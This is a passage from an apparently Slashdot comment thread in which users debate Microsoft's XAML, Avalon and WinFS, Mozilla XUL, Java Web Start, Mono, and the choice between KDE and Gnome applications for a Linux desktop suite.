    Finally, WinFS is very, very cool stuff, even as vaporware. I'm not surprised they had to scale it back, because what there are doing is nothing short of rethinking the file system from the ground up. This is a bold thought to take seriously. The notion of extensible metadata alone is powerful. (Before, file metadata was fixed.) Add in searching, extensible relationships, etc and you have something worth paying attention too.

    BeFS

    This is innovation, in my book. Invention is coming up with those rare new ideas. I see innovation is taking those ideas and making them applicable, or practical, affordable, widely available, better, used by many and so on.

    And in case you think I've missed your point, in my opinion microsoft has held back the computer industry, stifling innovation by pushing even potential competitors out of the market, intentional or not. Longhorn will be nothing new to me.

  129. no problem by poptones · · Score: 1

    use mono/.net. Same end result, no java needed.

  130. Re:For those who don't speak Spanish, but speak en by kelnos · · Score: 1

    not sure, but perhaps you're actually thinking of "mano a mano", which means "hand to hand" (as in, hand-to-hand combat). still though, your point is valid ^_~.

    not-so-random men in tights quote: "mano a mano, man to man, just you, and me, and my... GUARDS!"

    --
    Xfce: Lighter than some, heavier than others. Just right.
  131. Is zero-install such a big deal? by Chris+Burke · · Score: 1

    Perhaps I'm confused, but isn't the easiest way to get "zero-install" applications within a company simply a networked FS? I have tons of "zero install" applications available from my workstation through NFS. It even has a nifty caching architecture, so stuff I use is local and fast but stuff I don't isn't using my disk space, but of course is still available.

    Install a 7 meg browser? Why? It's already on the network! So what sense does it make to use mozilla (or java) to distribute these apps when we already have an efficient delivery system -- the one you use to run mozilla/java!

    This is of course totally different than the extra-corporate world, where eg you want a home user to use your app. But for within a business -- even out-of-office, with VPN -- "zero install" is an ancient, solved problem.

    What am I missing?

    --

    The enemies of Democracy are
  132. Re:XAML - XUL by Anonymous Coward · · Score: 0
    If it's XML, couldn't one write a processor that does XAML -> XUL transformations?

    Probably. I think the worry is that XAML has access to whatever interface bits are native in Windows, whereas XUL only can access the interface bits in Mozilla. The two sets likely won't line up perfectly, and one can guess the set for Windows will be larger.

  133. Don't be scared, Miguel by MuMart · · Score: 1
    Of course, the only drawback is that this new interaction is completely tied to .Net and WinFX. So we see that as a very big danger. A lot of people today cannot migrate to Linux or cannot migrate to Mozilla because a lot of their internal Web sites happen to use IE extensions. Now imagine a world where you can only use XAML. It's massive - I'm so scared.

    Open source should be fun, not a crazy fight for survival. If Microsoft do end up owning the framework for the web competitors will still want to interoperate with it.

    As you say MS will have a great deal of success with this. It may turn out to be a very significant test of the interoperability provisions of the DMCA.

    I think the first step of braking the MS monopoly on desktops would involve licensing of some sort. This licensing may be forced on them one way or another as part of government deals etc. Microsoft will still be in a very powerful position with it's licensing tax.

    Once competition is established I would hope that the pace of innovation would cause a license from MS to become optional depending on quality, rather than mandatory.

    Any chance of a development job, btw?

  134. Thanks for making the argument for me. by expro · · Score: 1

    Oh, god, like you are so damned important. Sun is being whined at by thousands of people, each with a different "but I want this" and "but I want that." Do you think Sun are omnipotent and can do it all?

    Thanks for making the argument for me. With that sort of argument, you probably work for Sun. It progresses as Sun wants it to progress, not as it's users need it to progress. It will not be effective for many general purposes such as the one the parent of my original response proposed until someone who understands the domain is able to take ownership enough to provide what is necessary.

    Look at Java and how it has come along over the years. It has always been progressing and in very non-trivial ways (the JRE has a full-blown software MIDI subsystem for cripes sake). Just because your little corner in the world hasn't been peed on, yet, doens't make Sun incompetent or evil.

    Certainly it has been "peed on" by Sun, who then sits back and claims victory wondering why no one uses Java Start (if you call today's following success, I guess you are in denial). That is what leads many to believe that Sun will never do it right or well, even though Java zealots claim Java does it all very well. You could make the same argument about emacs having made so much progress over all the years, but that still does not make it suitable to most tasks even though it can be used for nearly any task.

    When Midi becomes more important than how a web application launches and myriad other failures in their client strategy, I would suspect there are still domain experts better than the ones Sun hired who could do a better job in a non-proprietary environment.

    1. Re:Thanks for making the argument for me. by greenrd · · Score: 1
      There's just one tiny flaw in your argument.

      Anyone can write their own classloader. If you wanted a different one so badly, why didn't you write it?

    2. Re:Thanks for making the argument for me. by Mr.+Piddle · · Score: 1

      When Midi becomes more important than how a web application launches and myriad other failures in their client strategy, I would suspect there are still domain experts better than the ones Sun hired who could do a better job in a non-proprietary environment.

      The issue is that there are thousands of domains who all want to make sure the cake is their flavor, texture, color, number of layers, and brand of icing. Web-based apps really are just a niche in all of this. As far as Webstart goes, I've read other threads where people praise it, so Sun must have gotten a few things right.

      To game developers or musicians, Midi and Java2D is leagues ahead of web apps in importance. To real-time developers the threading model and scheduling is ahead of web apps. To embedded developers, the memory footprint is more important. To academics, whether the language supports various object oriented semantics is more important.

      Java is just following most things Sun has ever done. They come up with some really neat stuff that people still find things to complain about, and, then, those people become the biggest hypocrits in the world by going out and using something like .NET or Perl or Mono or Python or Ruby instead only to get burned by all the things they never thought about when slamming Java (or any platform with any perceived flaw that makes it suck, for that matter).

      There is little that Java does that can't be done in C (Apache does CGI quite nicely), but millions of developers choose Java, including for web apps, if only due to the fact that the overloaded '+' string operator and garbage collection saves them hundreds of lines of code and thousands of malloc bugs. Couple that with a solid threading model, collections APIs, easy networking, damn good portability, and a thousand other things Java does really well, whether it does web apps flawlessly out of the box is really just a non-issue.

      I don't even work for Sun, but I have to recognize just how crappy programming in C is for large applications and have to point out that Java really was a big step forward, no matter the criticism.

      --
      Vote in November. You won't regret it.
  135. Re:Disappointed in Miguel-The good enough train wr by naryco · · Score: 1

    I think Avalon/XAML is second in utility to WinFS. WinFS is supposed to bring capabilities formerly found only in document management systems to your OS, and that will be very attractive to big enterprises and CIOs. Finding the right document, and the latest version of it, is a huge problem in enterprises. It is something the end users care about, and something the CIO cares about.

    Introducing avalon is a good move from Microsoft, but I don't see it being the reason anyone would buy Longhorn. Not until it is in wide use, and that will take few years. Avalon simply offers a nicer version of HTML that is useful in developing GUIs for your custom solutions. For most enterprises, that is definitely not enough for a justifying a major expense like upgrading the OS in every computer in the enterprise.

    While Avalon is nice for the developers and offers also richer user experience, I think developers and IT people will be won over Indigo, as it will (supposedly) make writing distributed systems much much easier than before.

    WinFS makes the end users and CIOs want to upgrade to Longhorn, and Indigo wins over the IT staff. Avalon's role is to make sure that after people start to use longhorn, they cannot switch back to any OS that does not support Avalon, ie. for anything non-windows like Linux.

  136. Re:Application choice favourable to Gnome. Obvious by ajs · · Score: 1

    Until the 'anointed' apps have stuff like DCOP interfaces, desktop notification, KDE theme support, etc.. I'll stick with the KDE stuff. I like kicker popups, they're almost as slick as OS X bouncing dock icons.

    Which, of course, you are welcome to do. KDE vs Gnome was not the question at hand (and can we all just grow up and get over waving our desktop's flag around?). The question was centered around the choice of applications, in theory being based on their popularity alone, but in the final analysis being Gnome-centric. I think I covered those issues well enough in my original post.

  137. Re:Application choice favourable to Gnome. Obvious by ajs · · Score: 1

    However I feel that the choice to support both KDE and Gnome was a political decision [...] all you are doing is loading Gnomes services and libraries behind KDE, which isn't really supporting KDE

    First off, no it's not political it's practical. There are KDE desktops out there. The goal is to target them for deployment of this suite along with everything else. Nothing surprising or political here.

    And why on earth is "running under KDE" not "supporting KDE"?! If it said on the box "supports KDE" and I took it home to find that it ran under KDE, I can't see being too upset about that.

    I think you're tilting at windmills. Everything said in the article, as far as I can tell, is true. You just don't like that the apps chosen based on popularity aren't the apps you want to use. I understand you pain. Please don't try to share it any further.

  138. Maybe just a xslt is needed by xswl0931 · · Score: 1

    In theory, if according to what many people are saying XAML == XUL, then a xslt stylesheet should be all that's needed.

  139. Re:XAML - XUL by Abcd1234 · · Score: 1

    Only if the UI models are equivalent. Take container packing models. In Windows, the tradition was to explicitly place components in their locations. XUL, OTOH, uses something similar to TCL and Gtk where components are arranged in boxes, and the container "packs" itself in order to lay the widgets out... ie, there's no explicit positioning done.

  140. XPCOM and XBL. by Anonymous Coward · · Score: 0

    Don't forget the role XPCOM and XBL can play in doing rich clients. Look at Newsmonster, OEone and Komodo for what's possible.

  141. What does that matter? by bonch · · Score: 1

    I'd work for Microsoft if I could as well.

    In fact, if you asked around, I bet a lot of the developers around here would if they could. It's a living and it pays well.

    What does this have to do with the fact that he recognizes good technology and so ports it to Linux for everyone to use?

  142. Look at KDE by bonch · · Score: 1

    This community bashes Microsoft UI all the time, then embraces start menus, task bars, and integrated filesystem and HTML browsers. I guess because Windows 98 did it.

    1. Re:Look at KDE by Anonymous Coward · · Score: 0

      Microsoft copied start menus and task bars from us. You are ignorant not to know that. I still don't see any valid use for filesystem/html browsers but we have to give the people what they have been brainwashed to believe they want.

  143. Re:Application choice favourable to Gnome. Obvious by MWelchUK · · Score: 1
    And why on earth is "running under KDE" not "supporting KDE"?!

    The majority of KDE apps use QT, dcop, the arts sound server.

    Whilst Gnome apps can be loaded from within KDE (unsuprisingly) it will require the GTK libraries and are unlikely to use dcop and arts. They might as well say it would work under any desktop environment given the required libraries are installed.

    I like the apps, if I was currently using Gnome I'd use them.

    If this was purely practical they would choose one desktop or use a strategy that is completely desktop agnostic.

  144. Re:Disappointed in Miguel-The good enough train wr by killjoe · · Score: 1

    "How is installing mozilla on each and every desktop different from installing java on each and every desktop?"

    It's not.

    "With java you can have web-start applications - with mozilla you can have XUL applications."

    My point is that you can do a hell of a lot more with java then you can with XUL. If you are going to install something on the desktop anyway you might as well install the JRE which is smaller then mozilla.

    --
    evil is as evil does
  145. Don't be scared - check out MyXaml by bizcoach · · Score: 3, Insightful
    If he's so scared, why not just start the .XOMOL project and create XAML for Linux?

    Actually a good project in this area exists already, the MyXaml project.

    From the DotGNU perspective, XAML isn't particularly scary. We can simply support and recommend (and perhaps distribute) MyXaml.

    Really, from the perspective of the Free Software community, XAML isn't particularly scary. XAML may make the deployment of apps easier, and some of those apps may have been written to run only on MS platforms, but that cannot possibly be worse than the current situation with most apps for desktop computers running only on MS platforms. If indeed the IT world switches to XAML, that's not something to be scared about (except perhaps from a security perspective) because supporting XAML+.NET on free operating systems is in fact easier than supporting native "Microsoft Windows" executables.

    So I come to the conclusion that while I don't know whether XAML may perhaps be scary for Novell from a business perpective, or it may be scary for Miguel personally (because the MyXaml project is independent of Mono, and Miguel has historically found it difficult to interact with independent projects in a contructive, mutually beneficial manner), but certainly XAML is not a big threat for anything that I particularly care about.

    1. Re:Don't be scared - check out MyXaml by Anonymous Coward · · Score: 0

      I hope MyXaml doesn't end up sucking as much as MySQL.

  146. XAML != XUL by hackrobat · · Score: 1

    There was a comment left on my weblog, apparently by a manager in the Avalon team, saying that XAML is not XUL.

  147. Don't support proprietary platforms! by R.+M.+Stallman · · Score: 1

    I would urge everyone who believes that supporting Microsoft's proprietary platforms to reconsider.

    .NET is not yet an industry standard. Soon it will be if free software projects rush to promote it. The result will be more power for Microsoft; their implementation will be superior and be the standard. Any imitations will fail as second rate.

    It would be better to spend time encouraging Sun to make Java free software than to support Microsoft in their monopolistic practices.

    --
    You can read more about the GNU project at http://www.gnu.org/.
  148. Re:all the pieces are in places now, why not just. by ashot · · Score: 1

    but you already do that.. unless you claim to be part of the .04 percent that has flash disabled..

    --
    -ashot
  149. Re:Disappointed in Miguel-The good enough train wr by GlassHeart · · Score: 1
    I'm not sure if that is true these days. I think IT management are looking much closer at what kind of bang per buck they are getting.

    Particularly in a bad economy, IT departments are faced with increasing pressure to justify their own existence. It's hard to show how important you are until it's too late (you've been laid off and the network goes down), so it's important to roll out new projects and software installations even if nobody uses them. It gives you bullet points to present when the executives ask what you've been up to.

  150. Is this for Linux? or for Novell/Mono? by Qwavel · · Score: 1

    Ok Novell, but one thing.

    If the OSS community and companies are going to develop an Avalon (or Avalon-like) implementation, they should write it for Linux, not for Mono.

    If they write it for Mono (ie. in C#) then it will be portable to Windows and the Mac. But Windows will already have it and MS will license it to Apple, so that will be meaningless.

    If they write it for Linux (ie. in a GCC language) then it will be usable from all Linux development platforms.

    Tom.

  151. Not a viable alternative then or now. by expro · · Score: 1

    It is an extended discussion, although novices obviously give such a simplistic answer.

    It should be obvious that it was completely impossible in 1995 and a number of years after that, which killed the project at the time, which would not have been the case had distributing a forked distribution with our own modifications been an alternative.

    To make a good, intelligent loader, it would need to tie in to a much greater extent to surrounding code than simple overloading of public methods allows, and is likely to require native modifications.

    Such a thing really needs to be built into a distribution so every application that tries to launch itself intelligently does not have to have special privileges, etc.

    This is a long discussion of design, your answer is a non-starter, and the class loader is just one part missing of many that needs to be thyere in a dfistribution.

  152. Make it more useful. by expro · · Score: 1

    Sun should try to get outside their stupid box a bit more. Net will eventually bury Java for people who like the proprietary mind set because Microsoft can copy faster than Sun. Proprietary is not for me, and open source will be forced to produce something more-open to innovation. Sun would rather sue than let someone else do something that they have no experience or vision to do themselves with Java.

    Your contradictions in priority are exactly the reason people should be free to do what they need to with the Java engine, or find / create something better.

  153. A Richer Slashdot. by Anonymous Coward · · Score: 0

    Your point is noted. However one in this brave new world must be careful in not seeing everything as a nail(1). Does Slashdot per your example, really needs to have a front-end rich client? All we do her is basically read, and reply.

    Also as pointed out in another story(2). The glass teletype can be faster than GUIfying everything in sight.

    (1) Feature Creep.

    (2) The counter at an airport, and the POS at a retail store were given as examples were GUIfying reduced productivity, not increased it.

    1. Re:A Richer Slashdot. by ashot · · Score: 1

      just because one can build a GUI that is bad and inneficient does not imply that not GUI exists that is better than the glass teletype.
      similarly, just because one can abuse the power of flash and do nothing good with it, and can in fact make content harder to digest, does not mean that something good can't be done with said power. With more power comes more responsibility; there needs to be someone to weild this power. The real question is does it take a multi-billion dollar corporation to make all of these decisions correctly; I think not.

      --
      -ashot
  154. why dont you by Anonymous Coward · · Score: 0

    just leave Sun alone. Why Sun? You have a problem with OpenOffice? Sun has certainly been more friendly to the community than microsoft.

  155. Re:Denied migration (was Re:it's pronounced "XAML" by Brendan+Eich · · Score: 2, Informative
    Take a closer look. XAML is just XML, but it maps 1:1 to "WinFX" class instances, and attributes map to properties, methods, and events. It's another CLR source language, but a terrific one for the easy-programming crowd of graphic designers, web content hackers, VB consultants, etc.

    It's trivial to extend XAML with C# or any other CLR source language, too.

    Your XML reprocessor is going to do *what*, exactly, when it encounters some inline C#? And to what are you going to translate the whizzy graphics, animations, videos, and other effects?

    XAML is just the surface, an easy-to-use XUL + Flash language. Scratch below that and you get the Avalon engine and the .NET runtime. That combination is not something lying around on today's Linux, and not something you can whip up in an evening.

    Although Mono gives us a good start on half of the substance behind XAML....

    /be

  156. Re:Denied migration (was Re:it's pronounced "XAML" by Anonymous Coward · · Score: 0

    IE wasn't a joke, it was a ripoff of netscape, which ended up costing a billion bucks to microsoft when they lost a court case.

    Windows is a ripoff of x windows. DOS a ripoff of digital's CPM.

  157. Re:Disappointed in Miguel-The good enough train wr by cyborch · · Score: 1

    My point is that you can do a hell of a lot more with java then you can with XUL.

    An example of something you can do with java that you cannot do with XUL would be nice. Not required, but nice.

  158. Re:Disappointed in Miguel-The good enough train wr by killjoe · · Score: 1

    Java is a very rich environment. You can do anything you want to with it. For example you can write applications that interact with j2ee servers, servlets or go straight to the database. Java has a huge library of commercial and open source products to help you get done whatever you want in a repid manner.

    According the mozilla web site XUL database access isn't even baked yet. Without being able to access databases you'd be hard pressed to write a useful application don't you think?

    --
    evil is as evil does
  159. Re:Hitler? by Armadillo007 · · Score: 1

    The Freedom to ditribute malicious code? come on, you jerk! GTFO this forum!!!

  160. Re:You missed a point: --DON BOX by Anonymous Coward · · Score: 0

    Ever hear Don Box speak. He flat out says he is going to hire Miguel.

    A lot of you don't like Miguel because he points out the shortcomings of *nix. He realizes if you are not writing drivers or the OS you need to get the hello out of the low level languages. He is one of the smartest people to touch the pile of steaming *nix in a long time who actually has a clue of how to make it better.

  161. Re:Application choice favourable to Gnome. Obvious by ajs · · Score: 1

    But the apps listed, for the most part, weren't Gnome apps anyway, so it's moot point. Stop playing political football with applications and use them to get work done.

    Why is it that KDE folks get upset every time someone advocates using a non-KDE app? Isn't that the kind of provincial thinking we're trying to get back away from? I use some KDE programs and some Gnome programs along with apps like Mozilla, XMMS, Open Office, Emacs, and other non-Gnome/KDE apps. Why would I want to limit myself in any other way?

  162. Re:Application choice favourable to Gnome. Obvious by MWelchUK · · Score: 1

    You obviously don't have to install PC's for friends and family on aging hardware, where easy of use is of prime importance.

  163. Re:Application choice favourable to Gnome. Obvious by ajs · · Score: 1

    Which, AGAIN, has nothing to do with Miguel's points (in fact, in so far as it MIGHT, you seem to be defending his assertions).

    You select the applications that users prefer. You integrate them tightly with eachother and make them work well under various dekstop environments that people use.

    Done.

  164. Re:Disappointed in Miguel-The good enough train wr by Slime-dogg · · Score: 1

    I'm not too sure where you're getting your information on IT managers. When you're a manager in IT, you have to be concerned not only about the latest software, you also have to support every peice of ancestor software that is still in use. In many, many cases, this software was written some time in the 80's. This removes the "shiny things" from the equation, since the managers are looking for "less shiny" things.

    If MS marketed an OS that was 100% backwards compatible with every MS OS, and that it is stable, secure, and powerful, then every IT manager would be biting on it. Of course, new features would be bene, but they wouldn't be the selling point. Many IT departments are just now getting into Active Directory, realizing that support for NT Domains has finally dropped off of the end of the world.

    An IT manager won't be concerned with a 3-D accelerated desktop, because it just won't be useful to them. Non of the in-house apps that they use require this desktop, nor can they be run more efficiently. Then again, there's also the issue of a considerable investment in hardware. Most machines that are purchased for business have all integrated components, and if it could be found without a sound card, so much the better.

    MS hopes the sell the flash, but unfortunately it is you that has bitten on the MS marketing. Normal IT guys are going to look at it and wonder just why it's necessary for them to upgrade, when what they have works just fine. It seems that the only way for MS to push businesses into buying / upgrading is for MS to drop support for the OS completely.

    Lastly, even IT managers have to answer to the bean counters. They all have budgets, and those budgets were cut drastically in 2002-2003.

    --
    You need to restart your computer. Hold down the Power button for several seconds or press the Restart button.
  165. Re:Keep eye on the ball by Tukla · · Score: 1
    most people don't realize that AMD only has about 15% of the market

    Heck, I didn't realize that they had that much of the market. Good for them!